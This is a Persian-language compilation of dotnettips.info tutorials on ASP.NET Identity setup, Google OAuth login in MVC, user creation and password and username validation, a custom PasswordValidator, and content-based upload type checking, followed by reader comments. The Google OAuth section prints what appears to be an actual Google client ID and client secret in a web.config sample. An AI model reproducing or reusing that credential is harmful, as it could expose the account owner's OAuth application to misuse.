    Database.SetInitializer<AppIdentityDbContext>(new IdentityDbInit());
  }
 public static AppIdentityDbContext Create() {
 return new AppIdentityDbContext();
 }
 }
public class IdentityDbInit
 : DropCreateDatabaseIfModelChanges<AppIdentityDbContext> {
 protected override void Seed(AppIdentityDbContext context) {
 PerformInitialSetup(context);
 base.Seed(context);
 }
 public void PerformInitialSetup(AppIdentityDbContext context) {
 // initial configuration will go here
 }
 }
}
```

ساخت کلاس User Manager

یکی از مهمترین کلاسهای Identity کلاس User Manager (مدیر کاربر) می‌باشد که نمونه‌هایی از کلاس User را مدیریت می‌کند. کلاسی را که تعریف می‌کنیم، باید از کلاس UserManager<T> ارث بری کند که T همان کلاس User می‌باشد. کلاس UserManager خاص EF نمی‌باشد و ویژگی‌های عمومی بیشتری برای ساخت و انجام عملیات بر روی داده‌های کاربر را فراهم می‌نماید.

Name	Description
ChangePasswordAsync(id, old, new)	Changes the password for the specified user.
CreateAsync(user)	Creates a new user without a password. See Chapter 15 for an example.
CreateAsync(user, pass)	Creates a new user with the specified password. See the "Creating Users" section.
DeleteAsync(user)	Deletes the specified user. See the "Implementing the Delete Feature" section.
FindAsync(user, pass)	Finds the object that represents the user and authenticates their password. See Chapter 14 for details of authentication.
FindByIdAsync(id)	Finds the user object associated with the specified ID. See the "Implementing the Delete Feature" section.
FindByNameAsync(name)	Finds the user object associated with the specified name. I use this method in the "Seeding the Database" section of Chapter 14.
UpdateAsync(user)	Pushes changes to a user object back into the database. See the "Implementing the Edit Feature" section.
Users	Returns an enumeration of the users. See the "Enumerating User Accounts" section.

کلاس UserManager حاوی متدهای بالا است. اگر دقت کنید، می‌بینید که تمامی متدهای بالا به کلمه‌ی Async ختم می‌شوند. زیرا Asp.Net Identity تقریبا کل ویژگیهای برنامه نویسی Async را پیاده سازی کرده است و این بدین معنی است که عملیات میتوانند به صورت غیر همزمان اجرا شده و دیگر فعالیت‌ها را بلوکه نکنند.

```
using Microsoft.AspNet.Identity;
```

```
using Microsoft.AspNet.Identity.EntityFramework;
using Microsoft.AspNet.Identity.Owin;
using Microsoft.Owin;
using Users.Models;

namespace Users.Infrastructure
{
 public class AppUserManager : UserManager<AppUser>
{

 public AppUserManager(IUserStore<AppUser> store)
 : base(store) {
 }
 public static AppUserManager Create( IdentityFactoryOptions<AppUserManager> options, IOwinContext
context)
{
 AppIdentityDbContext db = context.Get<AppIdentityDbContext>();
 AppUserManager manager = new AppUserManager(new UserStore<AppUser>(db));
 return manager;
 }
 }
}
```

زمانی که Identity نیاز به وهله‌ای از کلاس AppUserManager داشته باشد، متد استاتیک Create را صدا خواهد زد. این عمل زمانی اتفاق می‌افتد که عملیاتی بر روی داده‌های کاربر انجام گیرد. برای ساخت وهله‌ای از کلاس AppUserManager نیاز به کلاس UserStor<AppUser> دارد. کلاس UserStore<T> یک پیاده سازی از رابط IUserStore<T> توسط EF میباشد که وظیفه‌ی آن فراهم کننده‌ی پیاده سازی Storage-Specific متدهای تعریف شده در کلاس User Manager (که در اینجا AppUserManager) می‌باشد. برای ساخت UserStore<T> نیاز به وهله‌ای از کلاس AppIdentityDbContext می‌باشد که از طریق Owin به صورت زیر قابل دریافت است:

```
AppIdentityDbContext db = context.Get<AppIdentityDbContext>();
```

یک پیاده سازی از رابط IOwinContext، به عنوان پارامتر به متد Create پاس داده می‌شود. در این پیاده سازی، یک تابع جنریک به نام Get تعریف شده که اقدام به برگشت وهله ای از اشیای ثبت شده‌ی در کلاس شروع Owin می‌نماید.

ساخت کلاس شروع Owin

اگر خاطرتان باشد یک کلید در قسمت AppSettings فایل Web.config به صورت زیر تعریف کردیم:

```
<add key="owin:AppStartup" value="Users.IdentityConfig" />
```

قسمت Value کلید بالا از دو قسمت تشکیل شده است: Users بیانگر فضای نام برنامه‌ی شماست و IdentityConfig بیانگر کلاس شروع می‌باشد. (البته شما می‌توانید هر نام دلخواهی را برای کلاس شروع بگذارید. فقط دقت داشته باشید که نام کلاس شروع و مقدار، با کلیدی که تعریف می‌کنید یکی باشد)

Owin مستقل از ASP.NET اعلام شده است و قراردادهای خاص خودش را دارد. یکی از این قراردادها تعریف یک کلاس و وهله سازی آن به منظور بارگذاری و پیکربندی میان افزار و انجام دیگر کارهای پیکربندی که نیاز است، می‌باشد. به طور پیش فرض این کلاس Start نام دارد و در پوشه‌ی App_Start تعریف می‌شود. این کلاس حاوی یک متد به نام Configuration می‌باشد که بوسیله زیرساخت Owin فراخوانی می‌شود و یک پیاده سازی از رابط Owin.IAppBuilder به عنوان آرگومان به آن پاس داده می‌شود که کار پشتیبانی از Setup میان افزار مورد نیاز برنامه را برعهده دارد.

```
using Microsoft.AspNet.Identity;
using Microsoft.Owin;
using Microsoft.Owin.Security.Cookies;
using Owin;
using Users.Infrastructure;
namespace Users
{
 public class IdentityConfig
```

```
{
 public void Configuration(IAppBuilder app)
{
 app.CreatePerOwinContext<AppIdentityDbContext>(AppIdentityDbContext.Create);
 app.CreatePerOwinContext<AppUserManager>(AppUserManager.Create);
 app.UseCookieAuthentication(new CookieAuthenticationOptions {
 AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,
 LoginPath = new PathString("/Account/Login"),
 });
 }
 }
}
```

رابط IAppBuilder بوسیله تعدادی متد الحاقی که در کلاسهایی که در فضای نام Owin تعریف شده‌اند، تکمیل شده است. متد CreatePerOwinContext کار ساخت وهله‌ای از کلاس AppUserManager و کلاس AppIdentityDbContext را برای هر درخواست بر عهده دارد. این مورد تضمین می‌کند که هر درخواست، به یک داده‌ی تمیز از Asp.Net Identity دسترسی خواهد داشت و نگران اعمال همزمانی و یا کش ضعیف داده نخواهد بود. متد UseCookieAuthentication به Asp.Net Identity می‌گوید که چگونه از کوکی‌ها برای تصدیق هویت کاربران استفاده کند که Optionهای آن از طریق کلاس CookieAuthenticationOptions مشخص می‌شود. مهمترین قسمت در اینجا پروپرتی LoginPath می‌باشد و مشخص می‌کند که کلاینت‌های تصدیق هویت نشده، هنگام دسترسی به یک منبع محافظت شده، به کدام URL هدایت شوند که توسط یک رشته به متد PathString پاس داده می‌شود.

خوب دوستان برپایی سیستم Identity به پایان رسید. انشالله در قسمت بعدی به چگونگی استفاده‌ی از این سیستم خواهیم پرداخت.

عنوان: **اهراز هویت با حساب‌های اجتماعی Google, Facebook و ...**
نویسنده: امیدنصری
تاریخ: ۱۳۹۴/۰۴/۱۶ ۱:۵۰
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security, ASP.NET Identity, Google

در این مقاله نحوه‌ی ورود به یک سایت ASP.NET MVC را با حساب‌های کاربری سایت‌های اجتماعی، بررسی خواهیم کرد. در اینجا با ورود به سایت در وب فرم‌ها آشنا شدید. توضیحات مربوطه به OpenID هم در اینجا قرار دارد.

مقدمه: شروع را با نصب ویژوال استودیوی نسخه رایگان 2013 برای وب و یا نسخه‌ی 2013 آغاز می‌کنیم. برای راهنمایی استفاده از Dropbox, GitHub, Linkedin, Instagram, buffer salesforce STEAM, Stack Exchange, Tripit, twitch, Twitter, Yahoo و بیشتر اینجا کلیک کنید.

توجه: برای استفاده از Google OAuth 2 و دیباگ به صورت لوکال بدون اخطار SSL، شما می‌بایستی نسخه‌ی ویژوال استودیو 2013 آپدیت 3 و یا بالاتر را نصب کرده باشید.

ساخت اولین پروژه: ویژوال استودیو را اجرا نماید. در سمت چپ بر روی آیکن Web کلیک کنید تا آیتم ASP.NET Web Application در دات نت 4.5.1 نمایش داده شود. یک نام را برای پروژه انتخاب نموده و OK را انتخاب نماید.
در دیالوگ بعدی آیتم MVC را انتخاب و اطمینان داشته باشید **Individual User Accounts** که با انتخاب **Change Authentication** به صورت دیالوگ برای شما نمایش داده می‌شود، انتخاب گردیده و در نهایت بر روی OK کلیک کنید.

فعال نمودن حساب کاربری گوگل و اعمال تنظیمات اولیه: در این بخش در صورتیکه حساب کاربری گوگل ندارید، وارد سایت گوگل شده و یک حساب کاربری را ایجاد نماید. در غیر اینصورت اینجا کلیک کنید تا وارد بخش Google Developers Console شوید.

در بخش منو بر روی ایجاد پروژه کلیک کنید تا پروژه‌ای جدید ایجاد گردد.

در دیالوگ باز شده نام پروژه خودتان را وارد کنید و دکمه‌ی Create را زده تا عملیات ایجاد پروژه انجام شود. در صورتیکه با موفقیت پیش رفته باشید، این صفحه برای شما بارگزاری میگردد.

فعال سازی Google+API

در سمت چپ تصویر **بالا** آیتمی با نام APIs & auth خواهید دید که بعد از کلیک بر روی آن، زیر مجموعه‌ای برای این آیتم فعال میگردد که می‌بایستی بر روی APIs کلیک و در این قسمت به جستجوی آیتمی با نام Google+ API پرداخته و در نهایت این آیتم را برای پروژه فعال سازید.

ایجاد یک Client ID : در بخش Credentials بر روی دکمه‌ی Create new Client ID کلیک نماید.

در دیالوگ باز شده از شما درخواست می‌شود تا نوع اپلیکشن را انتخاب کنید که در اینجا می‌بایستی آیتم اول (Web application) را برای گام بعدی انتخاب کنید و با کلیک بر روی Configure consent screen به صفحه‌ی Consent screen هدایت خواهید شد. فیلدهای مربوطه را به درستی پر کنید (این بخش به عنوان توضیحات مجوز ورود بین سایت شما و گوگل است).

در نهایت بعد از کلیک بر روی Save به صفحه‌ی Client ID بازگشت داده خواهید شد که در این صفحه با این دیالوگ برخورد خواهید کرد.

پروژه‌ی MVC خودتان را اجرا و لینک و پورت مربوطه را کپی کنید (http://localhost:5063).

در Authorized JavaScript Origins لینک را کپی نماید و در بخش Authorized redirect URls لینک را مجدد کپی نماید. با این تفاوت که بعد از پورت signin-google را هم قرار دهید. (http://localhost:5063/signin-google)

حال بر روی دکمه‌ی Create Client ID کلیک کنید.

پیکربندی فایل Startup.Auth :

فایل web.config را که در ریشه‌ی پروژه قرار دارد باز کنید. در داخل تگ appSettings کد زیر را کپی کنید. توجه شود بجای دو مقدار value، مقداری را که گوگل برای شما ثبت کرده است، وارد کنید.

```
<appSettings>
    <!--Google-->
    <add key="GoogleClientId" value="555533955993-
fgk9d4a9999ehvfpqrukjl7r0a4r5tus.apps.googleusercontent.com" />
    <add key="GoogleClientSecretId" value="QGEF4zY4GEwQNXe8ETwnVHfz" />
  </appSettings>
```

فایل Startup.Auth را باز کنید و دو پراپرتی و یک سازنده‌ی بدون ورودی را تعریف نماید. توضیحات بیشتر به صورت کامنت در کد زیر قرار گرفته است.

```
//فضا نام‌های استفاده شده در این کلاس
using System;
using System.Configuration;
using Microsoft.AspNet.Identity;
using Microsoft.AspNet.Identity.Owin;
using Microsoft.Owin;
using Microsoft.Owin.Security.Cookies;
using Microsoft.Owin.Security.Google;
using Owin;
using Login.Models;
//فضا نام جاری پروژه
namespace Login
{
    /// <summary>
    /// در ریشه سایت فایلی با نام استارت آپ که کلاسی هم نام این کلاس با یک تابع و یک ورودی از نوع
اینترفیس  تعریف شده است
    ///که این دو کلاس به صورت پارشال مهروموم شده اند
    /// </summary>
    public partial class Startup
    {
        /// <summary>
        /// این پراپرتی مقدار کلایت ای دی رو از وب دات کانفیگ در سازنده بدون ورودی در خودش ذخیره میکند
        /// </summary>
        public string GoogleClientId { get; set; }
        /// <summary>
        /// این پراپرتی مقدار کلایت  سیکرت ای دی رو از وب دات کانفیگ در سازنده بدون ورودی در خودش
```

```
ذخیره میکند
        /// </summary>
        public string GoogleClientSecretId { get; set; }

        /// <summary>
        سازنده بدون ورودی ///
        /// به ازای هر بار نمونه سازی از کلاس، سازنده‌های بدون ورودی کلاس هر بار اجرا خواهند شد، توجه
شود که می‌توان از
        /// سازنده‌های استاتیک هم استفاده کرد، این سازنده فقط یک بار، در صورتی که از کلاس نمونه سازی شود
ایجاد میگردد
        /// </summary>
        public Startup()
        {
            //Get Client ID from Web.Config
            GoogleClientId = ConfigurationManager.AppSettings["GoogleClientId"];
            //Get Client Secret ID from Web.Config
            GoogleClientSecretId = ConfigurationManager.AppSettings["GoogleClientSecretId"];
        }

        ///// <summary>
        ///// سازنده استاتیک کلاس
        ///// </summary>
        //static Startup()
        //{
              //در صورتی که از این سازنده استفاده شود می‌بایست پراپرتی‌های تعریف شده در سطح کلاس به
صورت استاتیک تعریف گردد تا
              //بتوان در این سازنده سطح دسترسی گرفت
        //    GoogleClientId = ConfigurationManager.AppSettings["GoogleClientId"];
        //    GoogleClientSecretId = ConfigurationManager.AppSettings["GoogleClientSecretId"];
        //}
        // For more information on configuring authentication, please visit
http://go.microsoft.com/fwlink/?LinkId=301864
        public void ConfigureAuth(IAppBuilder app)
        {
            // Configure the db context, user manager and signin manager to use a single instance per
request
            app.CreatePerOwinContext(ApplicationDbContext.Create);
            app.CreatePerOwinContext<ApplicationUserManager>(ApplicationUserManager.Create);
            app.CreatePerOwinContext<ApplicationSignInManager>(ApplicationSignInManager.Create);

            // Enable the application to use a cookie to store information for the signed in user
            // and to use a cookie to temporarily store information about a user logging in with a
third party login provider
            // Configure the sign in cookie
            app.UseCookieAuthentication(new CookieAuthenticationOptions
            {
                AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,
                LoginPath = new PathString("/Account/Login"),
                Provider = new CookieAuthenticationProvider
                {
                    // Enables the application to validate the security stamp when the user logs in.
                    // This is a security feature which is used when you change a password or add an
external login to your account.
                    OnValidateIdentity =
SecurityStampValidator.OnValidateIdentity<ApplicationUserManager, ApplicationUser>(
                        validateInterval: TimeSpan.FromMinutes(30),
                        regenerateIdentity: (manager, user) => user.GenerateUserIdentityAsync(manager))
                }
            });
            app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);

            // Enables the application to temporarily store user information when they are verifying
the second factor in the two-factor authentication process.
            app.UseTwoFactorSignInCookie(DefaultAuthenticationTypes.TwoFactorCookie,
TimeSpan.FromMinutes(5));

            // Enables the application to remember the second login verification factor such as phone
or email.
            // Once you check this option, your second step of verification during the login process
will be remembered on the device where you logged in from.
            // This is similar to the RememberMe option when you log in.

app.UseTwoFactorRememberBrowserCookie(DefaultAuthenticationTypes.TwoFactorRememberBrowserCookie);

            //Initialize UseGoogleAuthentication
            app.UseGoogleAuthentication(new GoogleOAuth2AuthenticationOptions()
            {
                ClientId = GoogleClientId,
                ClientSecret = GoogleClientSecretId
            });
        }
```

```
    }
}
```

حال پروژه را اجرا کرده و به صفحه‌ی ورود کاربر رجوع نمائید. همانگونه که در تصویر زیر مشاهده می‌کنید، دکمه‌ای با مقدار نمایشی گوگل در سمت راست، در بخش Use another service to log in اضافه شده است که بعد از کلیک بر روی آن، به صفحه‌ی هویت سنجی گوگل ریداریکت می‌شوید.

در اینجا از کاربر سوال پرسیده میشود که آیا به سایت پذیرنده اجازه داده شود که اطلاعات و ایمیل شما ارسال گردند که بعد از انتخاب دکمه‌ی Accept، لاگین انجام گرفته و اطلاعات ارسال می‌گردد.

توجه: رمز عبور شما به هیچ عنوان برای سایت پذیرنده ارسال نمی‌گردد.

لاگین با موفقیت انجام شد.

در مطلب بعدی سایر سایت‌های اجتماعی قرار خواهند گرفت.

پروژه‌ی مطلب جاری را میتوانید از اینجا دانلود کنید.

عنوان: **Asp.Net Identity #3**
نویسنده: احمد نواصری
تاریخ: ۱۳۹۴/۰۴/۱۷ ۱۹:۵۰
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security, ASP.NET Identity

در مقاله‌ی پیشین نگاهی داشتیم به نحوه‌ی برپایی سیستم Identity. در این مقاله به نحوه‌ی استفاده از این سیستم به منظور طراحی یک سیستم مدیریت کاربران خواهیم پرداخت و انشالله در مقاله‌های بعدی این سیستم را تکمیل خواهیم نمود. کار را با اضافه کردن یک کنترلر جدید به پروژه آغاز می‌کنیم.

```
using System.Web;
using System.Web.Mvc;
using Microsoft.AspNet.Identity.Owin;
using Users.Infrastructure;

namespace Users.Controllers
{
    public class HomeController : Controller
    {
        private AppUserManager UserManager
        {
            get { return HttpContext.GetOwinContext().GetUserManager<AppUserManager>(); }
        }
        // GET: Home
        public ActionResult Index()
        {
            return View(UserManager.Users);

        }

}
```

در خط 10 یک پروپرتی از نوع AppUserManager (کلاسی که مدیریت کاربران را برعهده دارد) ایجاد می‌کنیم. اسمبلی Microsoft.Owin.Host.SystemWeb یک سری متدهای الحاقی را به کلاس HttpContext اضافه می‌کند که یکی از آنها متد GetOwinContext می‌باشد. این متد یک شیء Per-Request Context را از طریق رابط IOwinContext به OwinApi ارسال می‌کند؛ با استفاده از متد الحاقی GetUserManager<T> که T همان کلاس AppUserManager می‌باشد. حال که نمونه‌ای از کلاس AppUserManager را بدست آوردیم، می‌توانیم درخواستهایی را به جداول کاربران بدهیم. مثلا در خط 17 با استفاده از پروپرتی Users میتوانیم لیست کاربران موجود را بدست آورده و آن را به ویو پاس دهیم.

```
@using Users.Models
@model IEnumerable<AppUser>
@{
    ViewBag.Title = "Index";
}
<div class="panel panel-primary">
    <div class="panel-heading">
        User Accounts
    </div>
    <table class="table table-striped">
        <tr><th>ID</th><th>Name</th><th>Email</th></tr>
        @if (!Model.Any())
        {
            <tr><td colspan="3" class="text-center">No User Accounts</td></tr>
        }
        else
        {
            foreach (AppUser user in Model)
            {
                <tr>
                    <td>@user.Id</td>
                    <td>@user.UserName</td>
                    <td>@user.Email</td>
                </tr>
            }
        }
    </table>
</div>
@Html.ActionLink("Create", "CreateUser", null, new { @class = "btn btn-primary" })
```

نحوه‌ی ساخت یک کاربر جدید

ابتدا در پوشه Models یک کلاس ایجاد کنید :

```
namespace Users.Models
    {
        public class CreateModel
        {
            [Required]
            public string Name { get; set; }
            [Required]
            public string Email { get; set; }
            [Required]
            public string Password { get; set; }
        }
    }
```

فقط دوستان توجه داشته باشید که در پروژه‌های حرفه‌ای و تجاری هرگز اطلاعات مهم مربوط به مدل‌ها را در پوشه‌ی Models قرار ندهید. ما در اینجا صرف آموزش و برای جلوگیری از پیچیدگی مثال این کار را انجام میدهیم. برای اطلاعات بیشتر به این مقاله مراجعه کنید.

حال در کنترلر برنامه کدهای زیر را اضافه می‌کنیم:

```
public ActionResult CreateUser()
        {
            return View();
        }

        [HttpPost]
        public async Task<ActionResult> CreateUser(CreateModel model)
        {
            if (!ModelState.IsValid)
                return View(model);

            var user = new AppUser { UserName = model.Name, Email = model.Email };
            var result = await UserManager.CreateAsync(user, model.Password);

            if (result.Succeeded)
            {
                return RedirectToAction("Index");
            }

            foreach (var error in result.Errors)
            {
                ModelState.AddModelError("", error);
            }
            return View(model);
        }
```

در اکشن CreateUser ابتدا یک شیء از کلاس AppUser ساخته و پروپرتی‌های مدل را به پروپرتی‌های کلاس AppUser انتساب می‌دهیم. در مرحله‌ی بعد یک شیء از کلاس IdentityResult به نام result ایجاد کرده و نتیجه‌ی متد CreateAsync را درون آن قرار می‌دهیم. متد CreateAsync از طریق پروپرتی از نوع AppUserManager قابل دسترسی است و دو پارامتر را دریافت می‌کند. پارامتر اول یک شیء از کلاس AppUser و پارامتر دوم یک رشته‌ی حاوی Password می‌باشد و خروجی متد یک شیء از کلاس IdentityResult است. در مرحله‌ی بعد چک می‌کنیم اگر Result، مقدار Succeeded را داشته باشد (یعنی نتیجه موفقیت آمیز بود) آن‌وقت ... در غیر اینصورت خطاهای موجود را به ModelState اضافه نموده و به View می‌فرستیم.

```
@model Users.ViewModels.CreateModel

@Html.ValidationSummary(false)

@using (Html.BeginForm())
{
    <div class="form-group">
        <label>Name</label>
        @Html.TextBoxFor(x => x.UserName, new { @class = "form-control" })
    </div>
    <div class="form-group">
        <label>Email</label>
        @Html.TextBoxFor(x => x.Email, new { @class = "form-control" })
    </div>
```

```
    <div class="form-group">
        <label>Password</label>
        @Html.PasswordFor(x => x.Password, new { @class = "form-control" })
    </div>
    <button type="submit" class="btn btn-primary">Create</button>
    @Html.ActionLink("Cancel", "Index", null, new { @class = "btn btn-default" })
}
```

اعتبار سنجی رمز

عمومی‌ترین و مهمترین نیازمندی برای هر برنامه‌ای، اجرای سیاست رمزگذاری می‌باشد؛ یعنی ایجاد یک سری محدودیتها برای ایجاد رمز است. مثلا رمز نمی‌تواند از 6 کاراکتر کمتر باشد و یا باید حاوی حروف بزرگ و کوچک باشد و ... . برای اجرای سیاست‌های رمزگذاری از کلاس PasswordValidator استفاده میشود. کلاس PasswordValidator برای اجرای سیاستهای رمزگذاری از پروپرتی‌های زیر استفاده می‌کند.

Name	Description
RequiredLength	Specifies the minimum length of a valid passwords.
RequireNonLetterOrDigit	When set to true, valid passwords must contain a character that is neither a letter nor a digit.
RequireDigit	When set to true, valid passwords must contain a digit.
RequireLowercase	When set to true, valid passwords must contain a lowercase character.
RequireUppercase	When set to true, valid passwords must contain a uppercase character.

```
var manager = new AppUserManager(new UserStore<AppUser>(db))
            {
                PasswordValidator = new PasswordValidator
                {
                    RequiredLength = 6,
                    RequireNonLetterOrDigit = false,
                    RequireDigit = false,
                    RequireLowercase = true,
                    RequireUppercase = true
                }
            };
```

فقط دوستان توجه داشته باشید که کد بالا را در متد Create از کلاس AppUserManager استفاده کنید.

اعتبار سنجی نام کاربری

برای اعبارسنجی نام کاربری از کلاس UserValidator به صورت زیر استفاده می‌کنیم:

```
manager.UserValidator = new UserValidator<AppUser>(manager)
            {
                AllowOnlyAlphanumericUserNames = true,
                RequireUniqueEmail = true
            };
```

کد بالا را نیز در متد Create از کلاس AppUserManager قرار می‌دهیم.

نظرات خوانندگان

نویسنده: محمد بیات
تاریخ: ۱۳۹۴/۰۴/۲۶ ۱۴:۵

با سلام و خسته نباشید، تشکر بابت مطالب خوبتون یک سوال برای من پیش اومده و اینکه اگر بخواهیم کلاسهای دیگه ای داشته باشیم مثلا یک کلاس برای جدول کالاها که اصلا ربطی به جدول Users ما نداشته باشه چطور باید به دیتابیس کانتکس وصلش کنیم یا به عبارتی چطور می‌تونیم توی Identity بهش بفهمونیم که همچین جدولی رو هم برای ما بسازه! و بتونیم از طریق صدا زدن Databasecontext اطلاعاتش رو بخونیم....
من تمامی مطالب شما رو انجام دادم تا الان درست کار کرده و میتونم لاگین و ریجستر رو برای کاربرهام داشته باشم ولی نمیدونم چطور باید با جداول دیگه ارتباط برقرار کنم و بسازمشون.
ممنون میشم توضیح بدید.
موفق و پیروز باشید.

نویسنده: محسن خان
تاریخ: ۱۳۹۴/۰۴/۲۶ ۱۴:۳۱

در قسمت دوم Asp.Net Identity #2 این کلاس جدید رو باید به AppIdentityDbContext اضافه کنید (مثل روش معمول EF Code first توسط DbSetها). بعدش هم باید با مباحث migrations آشنایی داشته باشید.

نویسنده: احمد نواصری
تاریخ: ۱۳۹۴/۰۴/۳۱ ۰:۲۸

سلام. کلاس AppIdentityDbContext تعریف شده در Asp.net Identity #2 هیچ تفاوتی با dbContext تعریف شده توسط EF ندارد. شما میتونید DbSetهای خودتون رو توی کلاس AppIdentityDbContext تعریف کنید.

```
ublic class AppIdentityDbContext : IdentityDbContext<AppUser>
{
   public AppIdentityDbContext()
              : base("IdentityDb") { }

    // DbSet Definition
   public DbSet<Product> Products { get; set; }

    static AppIdentityDbContext()
    {
        Database.SetInitializer<AppIdentityDbContext>(new IdentityDbInit());
    }
    public static AppIdentityDbContext Create()
    {
        return new AppIdentityDbContext();
    }
 }
```

البته همونطور که دوستمون محسن خان فرمودن بایستی با مباحث Ef Code First آشنایی داشته باشید که در اینجا یک دوره کامل تدارک دیده شده.

نویسنده: روناک تابعی
تاریخ: ۱۳۹۴/۰۵/۰۹ ۱۵:۳۵

با سلام و تشکر. آیا سیستم Identity هیچ تنظیماتی در web.config نداره؟
نیازی به تنظیمات قسمت authentication نیست دیگه؟

نویسنده: روناک تابعی

تاریخ: ۱۳۹۴/۰۵/۰۹ ۱۵:۳۹

آیا استفاده از یک DbContext برای Identity و دیگر مدلهای برنامه خوبه یا اینکه برای دیگر مدلهای برنامه از DbContext جدا استفاده کنیم؟

نویسنده: محسن خان
تاریخ: ۱۳۹۴/۰۵/۰۹ ۱۵:۵۹

می‌تونید استفاده کنید. فقط باید به نکات استفاده از چندین Context در EF 6 Code first دقت داشته باشید.

نویسنده: احمد نواصری
تاریخ: ۱۳۹۴/۰۵/۱۰ ۲۰:۴۱

سلام. مراجعه کنید به Asp.Net Identity #2 . فقط کافیه که یک Connection String تعریف کنید واسه ارتباط به پایگاه داده و یک کلید که معرف کلاس شروع Owin هست . نیاز به تنظیمات اضافه‌تری نداره.

عنوان: **سفارشی‌سازی PasswordValidator در ASP.NET Identity**
نویسنده: علی اکبر کورش فر
تاریخ: ۱۳۹۴/۰۴/۲۲ ۱۵:۰
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security, ASP.NET Identity

همانطور که می‌دانید Identity، فریمورک نسبتا جدیدی هست که مایکروسافت برای مدیریت کاربران و احراز هویت آن‌ها معرفی کرده و پیشرفت چشمگیری داشته است. در قسمت IdentityConfig (قسمتی که برای کانفیگ‌کردن Identity استفاده می‌شود) بخشی قابل تنظیم برای کانفیگ‌کردن سیاست‌های تعیین پسورد وجود دارد. به‌طور مثال : تعیین حداقل تعداد حروف برای کلمه‌ی عبور، ضرورت کوچک و بزرگ بودن حروف، الزام وجود کاراکتر ویژه.

این نیاز وجود دارد که PasswordValidator موجود در Identity را برای پروژه‌های مختلف سفارشی‌سازی کرد و این امکان فراهم شود که بتوان سیاست‌های کاری شرکت و پروژه را در قالب PasswordValidator اعمال کرد. به عنوان مثال بررسی کنیم اگر پسورد کاربر عدد 12345 وارد شده است، خطا صادر کنیم و اجازه انتساب آن را برای کاربر ندهیم یا منطق‌های دیگری که نیاز داریم. پس در اینجا به وجود یک CustomPasswordValidator نیاز هست است.

```
public class CustomPasswordValidator : PasswordValidator
{
    public override async Task<IdentityResult> ValidateAsync(string pass)
    {
            IdentityResult result = await base.ValidateAsync(pass);
            if (pass.Contains("12345"))
           {
            var errors = result.Errors.ToList();
            errors.Add("Passwords cannot contain numeric sequences");
            result = new IdentityResult(errors);
           }
           return result;
    }
}
```

در قطعه کد بالا یک کلاس ایجاد شد با نام CustomPasswordValidator و از PasswordValidator موجود در فضای نام Microsoft.AspNet.Identity ارث‌بری شد تا ویژگی‌های اصلی این کلاس را به‌صورت ذاتی داشته باشیم و بتوانیم سفارشی‌سازی‌های خودمان را بر روی آن اعمال می‌کنیم. متد ValidateAsync موجود override شده و بر روی ورودی آن شرط‌های پروژه و سیاست‌ها بررسی شده‌اند و درصورت تخلف از قوانین خطا صادر شد.

نقطه‌ی پایان کار اینجاست که در داخل کلاس کانفیگ موجود برای Identity که درون فایل web.config مشخص شده است (در این مثال کلاس IdentityConfig) برای قسمت PasswordValidator ، حالا باید از کلاس CustomPasswordValidator، یک شیء جدید ساخته شود:

```
// Configure custom validation logic for passwords
manager.PasswordValidator = new CustomPasswordValidator
{
    RequiredLength = 6,
    RequireNonLetterOrDigit = false,
    RequireDigit = false,
    RequireLowercase = false,
    RequireUppercase = false,
};
```

عنوان: **تشخیص نوع فایل با استفاده از محتوای فایل**
نویسنده: سالمیان
تاریخ: ۱۳۹۴/۰۴/۲۴ ۰:۵۵
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security

بی‌شک اگر در سایت خود بخشی را برای دریافت فایل‌های کاربر قرار داده باشید یکی از دغدغه‌های شما اعمال فیلتر و محدودیت روی نوع فایل‌های آپلود شده توسط کاربران خواهد بود. ممکن است سیاست شما پذیرای فایل هایی با پسوند خاص (برای مثال فقط عکس) باشد ولی **هیچ تضمینی وجود ندارد که فایلی با پسوند مورد نظر شما محتوایی مشابه با پسوند خود داشته باشد** .

اگر بخواهیم دقیق‌تر به این موضوع نگاه کنیم فرض می‌کنیم شما در وب سایت خود قسمتی برای آپلود عکس‌های کاربر قرار داده باشید و با مکانیزمی مانند این روش صحت نوع فایل‌های آپلود شده توسط کاربر را بررسی کنید.

اگر شخصی به قصد تخریب و هدر دادن فضای ذخیره سازی شما فایلی با محتوایی غیر از عکس (برای مثال یک فایل اجرایی) را تغییر پسوند داده و به جای عکس آپلود کند چه اتفاقی می‌افتد؟!

دو دلیل مهم برای چک کردن محتوای فایل خواهیم داشت:

1- جلوگیری از اتلاف حافظه ذخیره سازی (ممکن است شخص مهاجم هزاران فایل چند مگابایتی با محتوایی غیر از پسوند فایل بر روی سرور قرار دهد)

2- جلوگیری از اختلال در نمایش فایل‌های آپلود شده (بی شک عدم نمایش عکس در سایت چهره خوبی نخواهد داشت و ممکن است اعتبار سایت را زیر سوال ببرد)

همیشه برای چک کردن نوع فایل باید به دونکته توجه داشت: یکی آنکه پسوند فایل را حتما چک کنیم تا مطابق فیلتر و سیاست مورد انتظار ما باشد ، دوم اینکه به روشی که در ادامه توضیح خواهیم داد، با استفاده از محتوای باینری فایل، MimeType آنرا تشخیص دهیم.

برای اینکار ما از یک تابع API استفاده میکنیم که با استفاده از 255 بایت ابتدایی محتوای فایل، نوع فایل را مشخص می‌کند. این تابع API که FindMimeFromData نام دارد، در فایل urlmon.dll قرار دارد و گویا توسط مرورگر IE برای چک کردن نوع فایل، بر اساس محتوای آن مورد استفاده قرار می‌گیرد. ما نیز از این تابع در دات نت بهره گرفته و با پاس دادن آرایه‌ای از بایتها به آن نوع فایل خود را مشخص می‌کنیم.

کلاسی برای اینکار تهیه شده که در زیر مشاهده میکنید:

```
using System;
using System.Runtime.InteropServices;
using System.Reflection;

namespace Parsnet.Core
{

    public class MimeTypeDetector
    {
        [DllImport(@"urlmon.dll", CharSet = CharSet.Auto)]
        private extern static System.UInt32 FindMimeFromData(
            System.UInt32 pBC,
            [MarshalAs(UnmanagedType.LPStr)] System.String pwzUrl,
            [MarshalAs(UnmanagedType.LPArray)] byte[] pBuffer,
            System.UInt32 cbSize,
            [MarshalAs(UnmanagedType.LPStr)] System.String pwzMimeProposed,
            System.UInt32 dwMimeFlags,
            out System.UInt32 ppwzMimeOut,
            System.UInt32 dwReserverd
        );

        public string GetMimeType(byte[] content)
        {
            var result = "unknown/unknown";

            try
            {
                byte[] buffer = new byte[256];
